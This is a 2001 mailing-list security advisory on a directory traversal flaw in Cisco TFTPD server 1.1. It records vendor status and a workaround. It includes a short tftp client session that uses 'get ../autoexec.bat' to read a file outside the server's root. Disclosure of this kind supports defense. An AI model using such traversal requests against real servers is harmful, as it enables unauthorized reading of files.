Cisco TFTPD 1.1 Vulerablity

From: Siberian (siberianat_private)
Date: Mon Jun 18 2001 - 06:29:14 PDT

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    Author: 
    Siberian
    
    Topic: 
    Security Bug in CISCO TFTPD server 1.1 
    
    Vendor Status:
    Informed (06/17/01)
    
    Vendor URL: 
    http://www.cisco.com/pcgi-bin/tablebuild.pl/tftp
    
    Preamble:
    This software is some days old and I do not know if it is still supported, 
    but it is a serious issue which should be reported. The bug itself is very 
    common.
    
    Issue:
    TFTPD is vulnerable to some kind of primitve directory transversal
    attack which allows a remote user to obtain any file from the target
    system.
    
    Exploit (using tftp client (Linux)):
    tftp> connect target
    tftp> get ../autoexec.bat
    Recieved 218 bytes in 0.4 seconds
    tftpd> quit
    
    Workaround:
    Install your base directory at another partition or Hardrive (not c:)
    



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